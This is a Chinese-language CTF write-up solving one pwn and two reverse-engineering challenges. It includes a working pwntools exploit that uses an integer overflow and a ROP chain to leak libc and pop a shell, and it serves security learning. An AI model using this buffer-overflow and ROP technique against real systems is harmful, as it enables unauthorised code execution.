tags: 程安 CTF

CS 2019 Fall & AIS3 EOF 2019 - by ZR

Pwn - Impossible

• 就 abs(0x80000000) overflow

pwn.sendlineafter("Size: ", str(0x80000000))
payload = flat(
    "A" * (0x100 + 8),
    pop_rdi, puts_got,
    puts_plt,
    main
)
pwn.sendafter("It's safe now :)\n", payload)
# get libc base address here
...
pwn.sendlineafter("Size: ", str(0x80000000))
payload = flat(
    "A" * (0x100 + 8),
    pop_r12_r13_r14_r15, 0, 0, 0, 0,
    one_gadget_offset + libc.address
)
pwn.sendafter("It's safe now :)\n", payload)
# get shell

---

Reverse - PokemonGo

• 就 trace main.PikaCheck 的部份，然後把 unrolled loop 弄回去

#include <iostream>
using namespace std;

bool PikaCheck(string input) {
    int t0[20];
    for (int i = 0; i < input.size(); i++) {
        int t3 = (int)input[i];
        int t8 = (int)input[(i + 1) % input.size()];
        t0[i] = t3 + t8;
    }
    int offset[20] = {185, 212, 172, 145, 185,
                      212, 172, 177, 217, 212,
                      204, 177, 185, 212, 204,
                      209, 161, 124, 172, 177};
    int sum = 0;
    for (int i = 0; i < 20; i++) {
        sum += t0[i] - offset[i];
    }
    return (sum == 0);
}

• 這邊做一個大膽的假設(通靈) : flag[i] + flag[i+1] == offset[i]

offset = [185, 212, 172, 145, 185,
          212, 172, 177, 217, 212,
          204, 177, 185, 212, 204,
          209, 161, 124, 172, 177]

alpha_numeric  = [i for i in range(48, 48 + 9)]  # 0 ~ 9
alpha_numeric += [i for i in range(65, 65 + 25)] # A ~ Z
alpha_numeric += [i for i in range(97, 97 + 25)] # a ~ z

for c in alpha_numeric:
    flag = [c]
    for i in offset:
        if i - flag[-1] in alpha_numeric:
            flag += [i - flag[-1]]
        else:
            break
    if len(flag) == 21:
        print("FLAG{", *[chr(_) for _ in flag[:20]], "}", sep="")

---

Reverse - H0W

• pyc 先反編

import sys, struct
from terrynini import *
if len(sys.argv) != 2:
    print('Usage: python3 H0W.py filename')
    exit(0)
nini3()
f = open(sys.argv[1], 'rb').read()
if len(f) % 4 != 0:
    f += (4 - len(f) % 4) * b'\x00'
nini1()
nini4()
for i in range(0, len(f), 4):
    nini6(nini5(struct.unpack('<i', f[i:i + 4])[0]))
for i in list(map(ord, nini2())):
    nini6(i)
print('Complete')

• 去terrynini.so裡面找niniX()，然後用 IDA 反編然後修改一下

int GitHub;
FILE *JetBrains;

void nini3() { JetBrains = fopen64("output.txt", "w"); }
void nini1() { GitHub = time(0LL); }
void nini4() { srand(GitHub); }
void nini6(int a2) { fwrite(&a2, 1uLL, 4uLL, JetBrains); }

char *nini2() {
    struct tm *v0 = gmtime((const time_t *)&GitHub);
    char *v3;
    __sprintf_chk(&v3, 1LL, 40LL, "%d%02d%02d%02d%02d%02d", ...);
    return v3;
}

long long nini5(int v5) {
    switch (rand() % 4) {
        case 0:
            return ichinokata(v5);
        case 1:
            return ninokata(v5);
        case 2:
            return sannokata(v5);
        case 3:
            return yonnokata(v5);
    }
}

• 先去output.txt找srand()的 seed

from pwn import *
context.arch = "amd64"
f = open("output.txt", "rb").read()
data = f[-14*4:]
for i in range(0, 14 * 4, 4):
    print(chr(u32(data[i: i + 4])), end="")
# gmtime(GitHub) = 20190803052514

• 寫 script 解密回來
  • 雷點
    • struct tm轉回time_t的時候只設tm_wday沒用，tm_mday才是重點
      ​​​​​​​​​​​​// gmtime(GitHub) = 2019 08 03 05 25 14
      ​​​​​​​​​​​​v0->tm_year = (2019 - 1900);
      ​​​​​​​​​​​​v0->tm_mon  =  8; // Sep
      ​​​​​​​​​​​​v0->tm_wday =  3;
      ​​​​​​​​​​​​v0->tm_hour =  5;
      ​​​​​​​​​​​​v0->tm_min  = 25;
      ​​​​​​​​​​​​v0->tm_sec  = 14;
      ​​​​​​​​​​​​// guess tm_mday : 4 | 11 | 17 | 25 in Sep
      ​​​​​​​​​​​​v0->tm_mday = 11; // correct one
      ​​​​​​​​​​​​GitHub = timegm(v0);
      

    • ror rol都要用unsigned int，不然會解到壞掉
      ​​​​​​​​​​​​u_int rol(u_int n, u_int d) {
      ​​​​​​​​​​​​    return (n << d) | (n >> (32 - d));
      ​​​​​​​​​​​​}
      ​​​​​​​​​​​​u_int ror(u_int n, u_int d) {
      ​​​​​​​​​​​​    return (n >> d) | (n << (32 - d));
      ​​​​​​​​​​​​}
      

• 最後會拿到一張 png (下圖非完整圖)